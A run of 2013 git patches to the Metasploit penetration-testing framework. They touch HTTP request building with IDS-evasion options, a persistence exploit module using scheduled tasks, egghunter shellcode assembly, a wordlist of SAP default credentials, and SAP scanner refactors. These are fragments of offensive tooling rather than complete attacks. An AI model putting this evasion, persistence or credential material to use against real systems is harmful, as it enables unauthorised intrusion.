set_uri_append + # TODO: + # * Support different padding types + "" + end + + # + # Return the spacing between the uri and the version + # + def set_uri_version_spacer + len = config['pad_uri_version_count'].to_i + set = " " + buf = "" + + case config['pad_uri_version_type'] + when 'tab' + set = "\t" + when 'apache' + set = "\t \x0b\x0c\x0d" + end + + while(buf.length < len) + buf << set[ rand(set.length) ] + end + + return buf + end + + # + # Return the HTTP version string + # + def set_version + ret = protocol + "/" + version + + if (config['version_random_valid']) + ret = protocol + "/" + ['1.0', '1.1'][rand(2)] + end + + if (config['version_random_invalid']) + ret = Rex::Text.rand_text_alphanumeric(rand(20)+1) + end + + if (config['version_random_case']) + ret = Rex::Text.to_rand_case(ret) + end + + ret << "\r\n" + end + + # + # Return the HTTP Host header + # + def set_host_header + return "" if config['uri_full_url'] + host ||= config['vhost'] + + # IPv6 addresses must be placed in brackets + if Rex::Socket.is_ipv6?(host) + host = "[#{host}]" + end + + # The port should be appended if non-standard + if not [80,443].include?(port) + host = host + ":#{port}" + end + + set_formatted_header("Host", host) + end + + # + # Return the HTTP agent header + # + def set_agent_header + user_agent ? set_formatted_header("User-Agent", user_agent) : "" + end + + # + # Return a formatted header string + # + def set_formatted_header(var, val) + if (self.config['header_folding']) + "#{var}:\r\n\t#{val}\r\n" + else + "#{var}: #{val}\r\n" + end + end + + # + # Return the HTTP cookie header + # + def set_cookie_header + cookie ? set_formatted_header("Cookie", cookie) : "" + end + + # + # Return the HTTP connection header + # + def set_connection_header + connection ? set_formatted_header("Connection", connection) : "" + end + + # + # Return the content type header + # + def set_content_type_header + set_formatted_header("Content-Type", content_type) + end + + # + # Return the content length header + def set_content_len_header(clen) + return "" if config['chunked_size'] > 0 + set_formatted_header("Content-Length", clen) + end + + # + # Return a string of formatted extra headers + # + def set_extra_headers + buf = '' + + if (config['pad_fake_headers']) + 1.upto(config['pad_fake_headers_count'].to_i) do |i| + buf << set_formatted_header( + Rex::Text.rand_text_alphanumeric(rand(32)+1), + Rex::Text.rand_text_alphanumeric(rand(32)+1) + ) + end + end + + headers.each_pair do |var,val| + buf << set_formatted_header(var, val) + end + + buf + end + + def set_chunked_header + return "" if config['chunked_size'] == 0 + set_formatted_header('Transfer-Encoding', 'chunked') + end + + # + # Return the HTTP seperator and body string + # + def set_body(bdata) + return "\r\n" + bdata if config['chunked_size'] == 0 + str = bdata.dup + chunked = '' + while str.size > 0 + chunk = str.slice!(0,rand(config['chunked_size']) + 1) + chunked << sprintf("%x", chunk.size) + "\r\n" + chunk + "\r\n" + end + "\r\n" + chunked + "0\r\n\r\n" + end + + +end + + + +end +end +end \ No newline at end of file From 06ba2ef7914a8ab517a0bd7e48ff09e985fafab8 Mon Sep 17 00:00:00 2001 From: Raphael Mudge Date: Sun, 17 Feb 2013 20:39:54 -0500 Subject: [PATCH 263/448] Allow generic/custom payload to generate an exe The datastore value of ARCH has no effect on the array of architectures the generic/custom payload is compatible with. This commit forces the payload to update its list of compatible architectures on generation if the ARCH value is set in the datastore. See: http://dev.metasploit.com/redmine/issues/7755 --- modules/payloads/singles/generic/custom.rb | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/modules/payloads/singles/generic/custom.rb b/modules/payloads/singles/generic/custom.rb index 68c0da9d21..d5f8ebab32 100644 --- a/modules/payloads/singles/generic/custom.rb +++ b/modules/payloads/singles/generic/custom.rb @@ -38,6 +38,10 @@ module Metasploit3 # Construct the payload # def generate + if datastore['ARCH'] + self.arch = actual_arch + end + if datastore['PAYLOADFILE'] IO.read(datastore['PAYLOADFILE']) elsif datastore['PAYLOADSTR'] From 87d9af585eada1536c65fdb7dc53759fb687f6a3 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Sun, 17 Feb 2013 21:35:19 -0600 Subject: [PATCH 264/448] fix request_raw --- lib/rex/proto/http/client.rb | 79 ++++++++-------------------- lib/rex/proto/http/client_request.rb | 15 ++++-- 2 files changed, 33 insertions(+), 61 deletions(-) diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index 690cd58f4d..0244a9eb3e 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -8,8 +8,6 @@ require 'rex/proto/ntlm/constants' require 'rex/proto/ntlm/utils' require 'rex/proto/ntlm/exceptions' -require 'pry' - module Rex module Proto module Http @@ -171,62 +169,27 @@ class Client # # @return [Request] def request_raw(opts={}) - c_ag = opts['agent'] || config['agent'] - c_auth = opts['basic_auth'] || config['basic_auth'] || '' - c_body = opts['data'] || '' - c_conn = opts['connection'] - c_cook = opts['cookie'] || config['cookie'] - c_enc = opts['encode'] || false - c_head = opts['headers'] || config['headers'] || {} - c_host = opts['vhost'] || config['vhost'] || self.hostname - c_meth = opts['method'] || 'GET' - c_prot = opts['proto'] || 'HTTP' - c_qs = opts['query'] - c_rawh = opts['raw_headers']|| config['raw_headers'] || '' - c_uri = opts['uri'] || '/' - c_vers = opts['version'] || config['version'] || '1.1' + opts['agent'] ||= config['agent'] + opts['basic_auth'] = opts['basic_auth'] || config['basic_auth'] || '' + opts['data'] ||= '' + opts['uri'] ||= '/' + opts['cookie'] ||= config['cookie'] + opts['encode'] ||= false + opts['headers'] ||= config['headers'] || {} + opts['vhost'] ||= config['vhost'] + opts['method'] ||= 'GET' + opts['proto'] ||= 'HTTP' + opts['query'] ||= '' + opts['raw_headers'] = opts['raw_headers'] || config['raw_headers'] || '' + opts['version'] = opts['version'] || config['version'] || '1.1' + opts['cgi'] = false + opts['port'] = self.port - # An agent parameter was specified, but so was a header, prefer the header - if c_ag and c_head.keys.map{|x| x.downcase }.include?('user-agent') - c_ag = nil + if opts['basic_auth'] and not opts['authorization'] + opts['authorization'] = Rex::Text.encode_base64(opts['basic_auth']) end - uri = set_uri(c_uri) - - req = '' - req << set_method(c_meth) - req << set_method_uri_spacer() - req << set_uri_prepend() - req << (c_enc ? set_encode_uri(uri) : uri) - - if (c_qs) - req << '?' - req << (c_enc ? set_encode_qs(c_qs) : c_qs) - end - - req << set_uri_append() - req << set_uri_version_spacer() - req << set_version(c_prot, c_vers) - req << set_host_header(c_host) - req << set_agent_header(c_ag) - - if (c_auth.length > 0) - unless c_head['Authorization'] and c_head['Authorization'].include? "Basic" - req << set_basic_auth_header(c_auth) - end - end - - req << set_cookie_header(c_cook) - req << set_connection_header(c_conn) - req << set_extra_headers(c_head) - req << set_raw_headers(c_rawh) - req << set_body(c_body) - - request = Request.new - request.parse(req) - request.options = opts - - request + req = ClientRequest.new(opts,self.config) end @@ -267,6 +230,10 @@ class Client opts['encode_params'] = false end + if opts['basic_auth'] and not opts['authorization'] + opts['authorization'] = Rex::Text.encode_base64(opts['basic_auth']) + end + req = ClientRequest.new(opts,self.config) end @@ -322,7 +289,7 @@ class Client def send_recv(req, t = -1, persist=false) res = _send_recv(req,t,persist) if res and res.code == 401 and res.headers['WWW-Authenticate'] and have_creds? - res = send_auth(res, req.options, t, persist) + res = send_auth(res, req.opts, t, persist) end res end diff --git a/lib/rex/proto/http/client_request.rb b/lib/rex/proto/http/client_request.rb index cb76327f2b..c24d9a8c4a 100644 --- a/lib/rex/proto/http/client_request.rb +++ b/lib/rex/proto/http/client_request.rb @@ -2,6 +2,7 @@ require 'uri' require 'rex/proto/http' + module Rex module Proto module Http @@ -31,6 +32,8 @@ class ClientRequest attr_accessor :vars_post attr_accessor :version + attr_reader :opts + def initialize(opts={}, client_config) @cgi = opts['cgi'] @config = client_config @@ -53,6 +56,7 @@ class ClientRequest @vars_get = opts['vars_get'] @vars_post = opts['vars_post'] @version = opts['version'] + @opts = opts end def to_s @@ -156,13 +160,14 @@ class ClientRequest end def set_uri + uri_str = uri if (config['uri_dir_self_reference']) - uri.gsub!('/', '/./') + uri_str.gsub!('/', '/./') end if (config['uri_dir_fake_relative']) buf = "" - uri.split('/').each do |part| + uri_str.split('/').each do |part| cnt = rand(8)+2 1.upto(cnt) { |idx| buf << "/" + Rex::Text.rand_text_alphanumeric(rand(32)+1) @@ -170,17 +175,17 @@ class ClientRequest buf << ("/.." * cnt) buf << "/" + part end - uri = buf + uri_str = buf end if (config['uri_full_url']) url = self.ssl ? "https" : "http" url << self.config['vhost'] url << ((self.port == 80) ? "" : ":#{self.port}") - url << uri + url << uri_str url else - uri + uri_str end end From 25f8a7dcb9d39ff975d8daf1eeff83646438716d Mon Sep 17 00:00:00 2001 From: Thomas McCarthy Date: Sun, 17 Feb 2013 22:35:52 -0500 Subject: [PATCH 265/448] Fix expire tag logic and slight clean up Was a dumbass again and didn't fully understand how Optints worked when left blank at run time. If not 0 the expire tag will be inserted now. Also made it print the xpath if used because I believe it will be of value to the user for trouble shooting. --- .../exploits/windows/local/s4u_persistence.rb | 22 +++++++++++-------- 1 file changed, 13 insertions(+), 9 deletions(-) diff --git a/modules/exploits/windows/local/s4u_persistence.rb b/modules/exploits/windows/local/s4u_persistence.rb index e6197463c5..5eaad52e4d 100644 --- a/modules/exploits/windows/local/s4u_persistence.rb +++ b/modules/exploits/windows/local/s4u_persistence.rb @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Exploit::Local 'Platform' => [ 'windows' ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Windows', {} ] ], - 'DisclosureDate' => [ 'Jan 2 2013' ], + 'DisclosureDate' => [ 'Jan 2 2013' ], # Date of scriptjunkie's blog post 'DefaultTarget' => 0, 'References' => [ [ 'URL', 'http://www.pentestgeek.com/2013/02/11/scheduled-tasks-with-s4u-and-on-demand-persistence/'], @@ -207,8 +207,9 @@ class Metasploit3 < Msf::Exploit::Local if not datastore['XPATH'].nil? # Append xpath queries line << " and #{datastore['XPATH']}" + # Print XPath query, useful to user to spot issues with uncommented single quotes + print_status("XPath query: #{line}") end - vprint_status("XPath query: #{line}") xml = create_trigger_event_tags(datastore['EVENT_LOG'], line, xml) @@ -222,12 +223,15 @@ class Metasploit3 < Msf::Exploit::Local end xml = xml.sub(/.*?PT#{minutes}M<") - # Generate expire tag - end_boundary = create_expire_tag if datastore['EXPIRE_TIME'] + # Insert expire tag if not 0 + unless datastore['EXPIRE_TIME'] == 0 + # Generate expire tag + end_boundary = create_expire_tag - # Inject expire tag - insert = xml.index("") - xml.insert(insert + 16, "\n #{end_boundary}") + # Inject expire tag + insert = xml.index("") + xml.insert(insert + 16, "\n #{end_boundary}") + end end return xml end @@ -266,7 +270,7 @@ class Metasploit3 < Msf::Exploit::Local # Create session state trigger, weird spacing used to maintain # natural Winadows spacing for XML export temp_xml = "\n" - temp_xml << " #{create_expire_tag}" if not datastore['EXPIRE_TIME'] + temp_xml << " #{create_expire_tag}" unless datastore['EXPIRE_TIME'] == 0 temp_xml << " true\n" temp_xml << " #{trig}\n" temp_xml << " #{domain}\\#{user}\n" @@ -286,7 +290,7 @@ class Metasploit3 < Msf::Exploit::Local # Fscked up XML syntax for windows event #{id} in #{log}, weird spacind # used to maintain natural Windows spacing for XML export temp_xml = "\n" - temp_xml << " #{create_expire_tag}\n" if not datastore['EXPIRE_TIME'] + temp_xml << " #{create_expire_tag}\n" unless datastore['EXPIRE_TIME'] == 0 temp_xml << " true\n" temp_xml << " <QueryList><Query Id=\"0\" " temp_xml << "Path=\"#{log}\"><Select Path=\"#{log}\">" From 0d4a6c6a0434dd9543f3362bcddfe02c7b553b3e Mon Sep 17 00:00:00 2001 From: corelanc0d3r Date: Mon, 18 Feb 2013 12:45:49 +0100 Subject: [PATCH 266/448] support for searchforward option in egghunter --- lib/rex/exploitation/egghunter.rb | 23 ++++++++++++++++++----- 1 file changed, 18 insertions(+), 5 deletions(-) diff --git a/lib/rex/exploitation/egghunter.rb b/lib/rex/exploitation/egghunter.rb index f65545a67b..e937bb082b 100644 --- a/lib/rex/exploitation/egghunter.rb +++ b/lib/rex/exploitation/egghunter.rb @@ -22,6 +22,7 @@ module Exploitation # Conversion to use Metasm by jduck # Startreg code added by corelanc0d3r # Added routine to disable DEP for discovered egg (for win, added by corelanc0d3r) +# Added support for searchforward option (true or false) # ### class Egghunter @@ -42,7 +43,8 @@ class Egghunter # def hunter_stub(payload, badchars = '', opts = {}) - startreg = opts[:startreg] + startreg = opts[:startreg] + searchforward = opts[:searchforward] raise RuntimeError, "Invalid egg string! Need #{esize} bytes." if opts[:eggtag].length != 4 marker = "0x%x" % opts[:eggtag].unpack('V').first @@ -59,6 +61,19 @@ class Egghunter end startstub << "\n\t" if startstub.length > 0 + # search forward or backward ? + flippage = "\n\tor dx,0xfff" + edxdirection = "\n\tinc edx" + + if searchforward + if searchforward.to_s.downcase == 'false' + # go backwards + flippage = "\n\txor dl,dl" + edxdirection = "\n\tdec edx" + end + end + + # other vars getpointer = '' getsize = '' getalloctype = '' @@ -194,9 +209,9 @@ class Egghunter #{getpointer} #{startstub} check_readable: - or dx,0xfff + #{flippage} next_addr: - inc edx + #{edxdirection} push edx push 0x02 ; use NtAccessCheckAndAuditAlarm syscall pop eax @@ -213,10 +228,8 @@ check_for_tag: ; it must match a second time too scasd jne next_addr - ; check the checksum if the feature is enabled #{checksum} - ; jump to the payload #{jmppayload} EOS From 416a7aeaa3bfe064a65759c1313a12f9ef058892 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 18 Feb 2013 15:23:06 +0100 Subject: [PATCH 267/448] make msftidy happy for s4u_persistence --- modules/exploits/windows/local/s4u_persistence.rb | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) diff --git a/modules/exploits/windows/local/s4u_persistence.rb b/modules/exploits/windows/local/s4u_persistence.rb index 5eaad52e4d..188b8e643c 100644 --- a/modules/exploits/windows/local/s4u_persistence.rb +++ b/modules/exploits/windows/local/s4u_persistence.rb @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Exploit::Local 'Platform' => [ 'windows' ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Windows', {} ] ], - 'DisclosureDate' => [ 'Jan 2 2013' ], # Date of scriptjunkie's blog post + 'DisclosureDate' => 'Jan 2 2013', # Date of scriptjunkie's blog post 'DefaultTarget' => 0, 'References' => [ [ 'URL', 'http://www.pentestgeek.com/2013/02/11/scheduled-tasks-with-s4u-and-on-demand-persistence/'], @@ -141,7 +141,6 @@ class Metasploit3 < Msf::Exploit::Local begin write_file(path, payload) rescue => e - puts e fail_with(Exploit::Failure::Unknown, "Could not upload to #{path}") end print_status("Successfully uploaded remote executable to #{path}") @@ -152,7 +151,7 @@ class Metasploit3 < Msf::Exploit::Local # Returns normal XML for generic task def create_xml(rexe_path) - xml_path = File.join(Msf::Config.install_root, "data", "exploits", "s4u_persistence") + xml_path = File.join(Msf::Config.install_root, "data", "exploits", "s4u_persistence.xml") xml_file = File.new(xml_path,"r") xml = xml_file.read xml_file.close @@ -204,7 +203,7 @@ class Metasploit3 < Msf::Exploit::Local when 'event' line = "*[System[(EventID=#{datastore['EVENT_ID']})]]" - if not datastore['XPATH'].nil? + if not datastore['XPATH'].nil? and not datastore['XPATH'].empty? # Append xpath queries line << " and #{datastore['XPATH']}" # Print XPath query, useful to user to spot issues with uncommented single quotes @@ -226,8 +225,7 @@ class Metasploit3 < Msf::Exploit::Local # Insert expire tag if not 0 unless datastore['EXPIRE_TIME'] == 0 # Generate expire tag - end_boundary = create_expire_tag - + end_boundary = create_expire_tag # Inject expire tag insert = xml.index("") xml.insert(insert + 16, "\n #{end_boundary}") From c8778587f5233f49eb0f86cb15e2e018bb66daa8 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 18 Feb 2013 15:25:03 +0100 Subject: [PATCH 268/448] rename the xml template for s4u --- data/exploits/{s4u_persistence => s4u_persistence.xml} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename data/exploits/{s4u_persistence => s4u_persistence.xml} (100%) diff --git a/data/exploits/s4u_persistence b/data/exploits/s4u_persistence.xml similarity index 100% rename from data/exploits/s4u_persistence rename to data/exploits/s4u_persistence.xml From 9af43bc05c4b98d4cabe616579a07eb34399eccd Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 18 Feb 2013 15:58:29 +0100 Subject: [PATCH 269/448] newline to sap_default.txt --- data/wordlists/sap_default.txt | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/data/wordlists/sap_default.txt b/data/wordlists/sap_default.txt index 2102fd069b..fc64ceb34b 100644 --- a/data/wordlists/sap_default.txt +++ b/data/wordlists/sap_default.txt @@ -14,4 +14,5 @@ J2EE_ADMIN ch4ngeme SAPJSF ch4ngeme SAPR3 SAP CTB_ADMIN sap123 -XMI_DEMO sap123 \ No newline at end of file +XMI_DEMO sap123 + From b72d2b59f84ae70978f416c65cf303f5fa3007f0 Mon Sep 17 00:00:00 2001 From: James Lee Date: Mon, 18 Feb 2013 18:02:51 -0600 Subject: [PATCH 270/448] Add logging in case of exceptions during rm --- lib/msf/core/exploit/file_dropper.rb | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/exploit/file_dropper.rb b/lib/msf/core/exploit/file_dropper.rb index 6298354b67..12ef03efb2 100644 --- a/lib/msf/core/exploit/file_dropper.rb +++ b/lib/msf/core/exploit/file_dropper.rb @@ -56,7 +56,7 @@ module Exploit::FileDropper # # Record file as needing to be cleaned up # - # @param [Array] files List of paths on the target that should + # @param files [Array] List of paths on the target that should # be deleted during cleanup. Each filename should be either a full # path or relative to the current working directory of the session # (not necessarily the same as the cwd of the server we're @@ -95,7 +95,9 @@ module Exploit::FileDropper true #rescue ::Rex::SocketError, ::EOFError, ::IOError, ::Errno::EPIPE, ::Rex::Post::Meterpreter::RequestError => e rescue ::Exception => e - vprint_error("Failed to delete #{file}: #{e.to_s}") + vprint_error("Failed to delete #{file}: #{e}") + elog("Failed to delete #{file}: #{e.class}: #{e}") + elog("Call stack:\n#{e.backtrace.join("\n")}") false end end From 867ab2f269365d7c0de0591c2a96e64c7928d5d9 Mon Sep 17 00:00:00 2001 From: James Lee Date: Mon, 18 Feb 2013 19:01:03 -0600 Subject: [PATCH 271/448] Whitespace --- lib/rex/proto/smb/client.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/rex/proto/smb/client.rb b/lib/rex/proto/smb/client.rb index bec1ff50d5..72c35379fb 100644 --- a/lib/rex/proto/smb/client.rb +++ b/lib/rex/proto/smb/client.rb @@ -1899,7 +1899,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils resp = find_next(last_search_id, last_offset, last_filename) search_next = 1 # Flip bit so response params will parse correctly end - end until eos != 0 or last_offset == 0 + end until eos != 0 or last_offset == 0 rescue ::Exception raise $! end From 4170a85d8adb8384d467176dd7a1d935455205aa Mon Sep 17 00:00:00 2001 From: Chris John Riley Date: Tue, 19 Feb 2013 09:42:13 +0100 Subject: [PATCH 272/448] Added logic to only report when value is present --- .../scanner/sap/sap_icf_rfc_system_info.rb | 38 +++++++++---------- 1 file changed, 19 insertions(+), 19 deletions(-) diff --git a/modules/auxiliary/scanner/sap/sap_icf_rfc_system_info.rb b/modules/auxiliary/scanner/sap/sap_icf_rfc_system_info.rb index dd47aaa5c7..602d270cb6 100644 --- a/modules/auxiliary/scanner/sap/sap_icf_rfc_system_info.rb +++ b/modules/auxiliary/scanner/sap/sap_icf_rfc_system_info.rb @@ -126,6 +126,7 @@ class Metasploit4 < Msf::Auxiliary # output table print(saptbl.to_s) + # report notes report_note( :host => ip, :proto => 'tcp', @@ -133,7 +134,7 @@ class Metasploit4 < Msf::Auxiliary :sname => 'sap', :type => 'sap.version.release', :data => "Release Status of SAP System: #{rfcsaprl}" - ) + ) if not rfcsaprl.empty? report_note( :host => ip, @@ -142,7 +143,7 @@ class Metasploit4 < Msf::Auxiliary :sname => 'sap', :type => 'sap.version.rfc_log', :data => "RFC Log Version: #{rfcproto}" - ) + ) if not rfcproto.empty? report_note( :host => ip, @@ -151,7 +152,7 @@ class Metasploit4 < Msf::Auxiliary :sname => 'sap', :type => 'sap.version.kernel', :data => "Kernel Release: #{rfckernrl}" - ) + ) if not rfckernrl.empty? report_note( :host => ip, @@ -160,7 +161,7 @@ class Metasploit4 < Msf::Auxiliary :sname => 'sap', :type => 'system.os', :data => "Operating System: #{rfcopsys}" - ) + ) if not rfcopsys.empty? report_note( :host => ip, @@ -168,7 +169,7 @@ class Metasploit4 < Msf::Auxiliary :port => rport, :type => 'sap.db.hostname', :data => "Database Host: #{rfcdbhost}" - ) + ) if not rfcdbhost.empty? report_note( :host => ip, @@ -176,9 +177,9 @@ class Metasploit4 < Msf::Auxiliary :port => rport, :type => 'sap.db_system', :data => "Central Database System: #{rfcdbsys}" - ) + ) if not rfcdbsys.empty? - if rfcinttyp == 'LIT' + if rfcinttyp == 'LIT' report_note( :host => ip, :proto => 'tcp', @@ -186,7 +187,7 @@ class Metasploit4 < Msf::Auxiliary :type => 'system.endianness', :data => "Integer Format: Little Endian" ) - else + elsif not rfcinttyp.empty? report_note( :host => ip, :proto => 'tcp', @@ -202,7 +203,7 @@ class Metasploit4 < Msf::Auxiliary :port => rport, :type => 'system.hostname', :data => "Hostname: #{rfchost}" - ) + ) if not rfchost.empty? if rfcflotyp == 'IE3' report_note( @@ -212,7 +213,7 @@ class Metasploit4 < Msf::Auxiliary :type => 'system.float_type', :data => "Float Type Format: IEEE" ) - else + elsif not rfcflotyp.empty? report_note( :host => ip, :proto => 'tcp', @@ -228,7 +229,7 @@ class Metasploit4 < Msf::Auxiliary :port => rport, :type => 'system.ip.v4', :data => "IPv4 Address: #{rfcipaddr}" - ) + ) if not rfcipaddr.empty? report_note( :host => ip, @@ -236,7 +237,7 @@ class Metasploit4 < Msf::Auxiliary :port => rport, :type => 'system.ip.v6', :data => "IPv6 Address: #{rfcipv6addr}" - ) + ) if not rfcipv6addr.empty? report_note( :host => ip, @@ -244,7 +245,7 @@ class Metasploit4 < Msf::Auxiliary :port => rport, :type => 'sap.instance', :data => "System ID: #{rfcsysid}" - ) + ) if not rfcsysid.empty? report_note( :host => ip, @@ -252,7 +253,7 @@ class Metasploit4 < Msf::Auxiliary :port => rport, :type => 'sap.rfc.destination', :data => "RFC Destination: #{rfcdest}" - ) + ) if not rfcdest.empty? report_note( :host => ip, @@ -260,7 +261,7 @@ class Metasploit4 < Msf::Auxiliary :port => rport, :type => 'system.timezone', :data => "Timezone: #{rfctzone.gsub(/\s+/, "")} (diff from UTC in seconds)" - ) + ) if not rfctzone.empty? report_note( :host => ip, @@ -268,7 +269,7 @@ class Metasploit4 < Msf::Auxiliary :port => rport, :type => 'system.charset', :data => "Character Set: #{rfcchartyp}" - ) + ) if not rfcchartyp.empty? report_note( :host => ip, @@ -276,8 +277,7 @@ class Metasploit4 < Msf::Auxiliary :port => rport, :type => 'sap.daylight_saving_time', :data => "Daylight Saving Time: #{rfcdayst}" - ) - + ) if not rfcdayst.empty? report_note( :host => ip, @@ -285,6 +285,6 @@ class Metasploit4 < Msf::Auxiliary :port => rport, :type => 'sap.machine_id', :data => "Machine ID: #{rfcmach.gsub(/\s+/, "")}" - ) + ) if not rfcmach.empty? end end \ No newline at end of file From d4011227e3cc98e2efec5d462be815451cbd1753 Mon Sep 17 00:00:00 2001 From: Chris John Riley Date: Tue, 19 Feb 2013 09:43:36 +0100 Subject: [PATCH 273/448] Made suitable changes to original module also (only report on non empty response) --- .../scanner/sap/sap_soap_rfc_system_info.rb | 39 ++++++++++--------- 1 file changed, 20 insertions(+), 19 deletions(-) diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb index 80c4168c0f..7676ad2611 100755 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb @@ -145,8 +145,10 @@ class Metasploit4 < Msf::Auxiliary saptbl << [ "Character Set", rfcchartyp ] saptbl << [ "Daylight Saving Time", rfcdayst ] saptbl << [ "Machine ID", rfcmach.gsub(/\s+/, "")] + # output table print(saptbl.to_s) + # report notes report_note( :host => ip, :proto => 'tcp', @@ -154,7 +156,7 @@ class Metasploit4 < Msf::Auxiliary :sname => 'sap', :type => 'sap.version.release', :data => "Release Status of SAP System: #{rfcsaprl}" - ) + ) if not rfcsaprl.empty? report_note( :host => ip, @@ -163,7 +165,7 @@ class Metasploit4 < Msf::Auxiliary :sname => 'sap', :type => 'sap.version.rfc_log', :data => "RFC Log Version: #{rfcproto}" - ) + ) if not rfcproto.empty? report_note( :host => ip, @@ -172,7 +174,7 @@ class Metasploit4 < Msf::Auxiliary :sname => 'sap', :type => 'sap.version.kernel', :data => "Kernel Release: #{rfckernrl}" - ) + ) if not rfckernrl.empty? report_note( :host => ip, @@ -181,7 +183,7 @@ class Metasploit4 < Msf::Auxiliary :sname => 'sap', :type => 'system.os', :data => "Operating System: #{rfcopsys}" - ) + ) if not rfcopsys.empty? report_note( :host => ip, @@ -189,7 +191,7 @@ class Metasploit4 < Msf::Auxiliary :port => rport, :type => 'sap.db.hostname', :data => "Database Host: #{rfcdbhost}" - ) + ) if not rfcdbhost.empty? report_note( :host => ip, @@ -197,9 +199,9 @@ class Metasploit4 < Msf::Auxiliary :port => rport, :type => 'sap.db_system', :data => "Central Database System: #{rfcdbsys}" - ) + ) if not rfcdbsys.empty? - if rfcinttyp == 'LIT' + if rfcinttyp == 'LIT' report_note( :host => ip, :proto => 'tcp', @@ -207,7 +209,7 @@ class Metasploit4 < Msf::Auxiliary :type => 'system.endianness', :data => "Integer Format: Little Endian" ) - else + elsif not rfcinttyp.empty? report_note( :host => ip, :proto => 'tcp', @@ -223,7 +225,7 @@ class Metasploit4 < Msf::Auxiliary :port => rport, :type => 'system.hostname', :data => "Hostname: #{rfchost}" - ) + ) if not rfchost.empty? if rfcflotyp == 'IE3' report_note( @@ -233,7 +235,7 @@ class Metasploit4 < Msf::Auxiliary :type => 'system.float_type', :data => "Float Type Format: IEEE" ) - else + elsif not rfcflotyp.empty? report_note( :host => ip, :proto => 'tcp', @@ -249,7 +251,7 @@ class Metasploit4 < Msf::Auxiliary :port => rport, :type => 'system.ip.v4', :data => "IPv4 Address: #{rfcipaddr}" - ) + ) if not rfcipaddr.empty? report_note( :host => ip, @@ -257,7 +259,7 @@ class Metasploit4 < Msf::Auxiliary :port => rport, :type => 'system.ip.v6', :data => "IPv6 Address: #{rfcipv6addr}" - ) + ) if not rfcipv6addr.empty? report_note( :host => ip, @@ -265,7 +267,7 @@ class Metasploit4 < Msf::Auxiliary :port => rport, :type => 'sap.instance', :data => "System ID: #{rfcsysid}" - ) + ) if not rfcsysid.empty? report_note( :host => ip, @@ -273,7 +275,7 @@ class Metasploit4 < Msf::Auxiliary :port => rport, :type => 'sap.rfc.destination', :data => "RFC Destination: #{rfcdest}" - ) + ) if not rfcdest.empty? report_note( :host => ip, @@ -281,7 +283,7 @@ class Metasploit4 < Msf::Auxiliary :port => rport, :type => 'system.timezone', :data => "Timezone: #{rfctzone.gsub(/\s+/, "")} (diff from UTC in seconds)" - ) + ) if not rfctzone.empty? report_note( :host => ip, @@ -289,7 +291,7 @@ class Metasploit4 < Msf::Auxiliary :port => rport, :type => 'system.charset', :data => "Character Set: #{rfcchartyp}" - ) + ) if not rfcchartyp.empty? report_note( :host => ip, @@ -297,8 +299,7 @@ class Metasploit4 < Msf::Auxiliary :port => rport, :type => 'sap.daylight_saving_time', :data => "Daylight Saving Time: #{rfcdayst}" - ) - + ) if not rfcdayst.empty? report_note( :host => ip, @@ -306,6 +307,6 @@ class Metasploit4 < Msf::Auxiliary :port => rport, :type => 'sap.machine_id', :data => "Machine ID: #{rfcmach.gsub(/\s+/, "")}" - ) + ) if not rfcmach.empty? end end From a75bae927d59984fb6c980fbb634eb1ce825bd54 Mon Sep 17 00:00:00 2001 From: Chris John Riley Date: Tue, 19 Feb 2013 11:12:12 +0100 Subject: [PATCH 274/448] Replaced report_note and table output with single function Added proposed extract data function (HDM) --- .../scanner/sap/sap_icf_rfc_system_info.rb | 269 +++++------------ .../scanner/sap/sap_soap_rfc_system_info.rb | 273 +++++------------- 2 files changed, 143 insertions(+), 399 deletions(-) diff --git a/modules/auxiliary/scanner/sap/sap_icf_rfc_system_info.rb b/modules/auxiliary/scanner/sap/sap_icf_rfc_system_info.rb index 602d270cb6..6679e13e44 100644 --- a/modules/auxiliary/scanner/sap/sap_icf_rfc_system_info.rb +++ b/modules/auxiliary/scanner/sap/sap_icf_rfc_system_info.rb @@ -49,6 +49,27 @@ class Metasploit4 < Msf::Auxiliary ], self.class) end + def extract_field(data, elem) + if data =~ /<#{elem}>([^<]+)<\/#{elem}>/i + return $1 + end + nil + end + + def report_note_sap(type, data, value) + # create note + report_note( + :host => rhost, + :port => rport, + :proto => 'tcp', + :sname => 'sap', + :type => type, + :data => data + value + ) if data + # update saptbl for output + @saptbl << [ data, value ] + end + def run_host(ip) print_status("[SAP] #{ip}:#{rport} - Sending RFC_SYSTEM_INFO request to SAP Application Server") @@ -58,6 +79,9 @@ class Metasploit4 < Msf::Auxiliary if res and res.code != 200 print_error("[SAP] #{ip}:#{rport} - Server did not respond as expected") return + elsif not res + print_error("[SAP] #{ip}:#{rport} - Server did not respond") + return end rescue ::Rex::ConnectionError print_error("[SAP] #{ip}:#{rport} - Unable to connect") @@ -66,7 +90,8 @@ class Metasploit4 < Msf::Auxiliary print_status("[SAP] #{ip}:#{rport} - Response received") - saptbl = Msf::Ui::Console::Table.new( + # create table for output + @saptbl = Msf::Ui::Console::Table.new( Msf::Ui::Console::Table::Style::Default, 'Header' => "[SAP] ICF RFC_SYSTEM_INFO", 'Prefix' => "\n", @@ -76,215 +101,59 @@ class Metasploit4 < Msf::Auxiliary "Key", "Value" ]) + response = res.body - rfcproto = 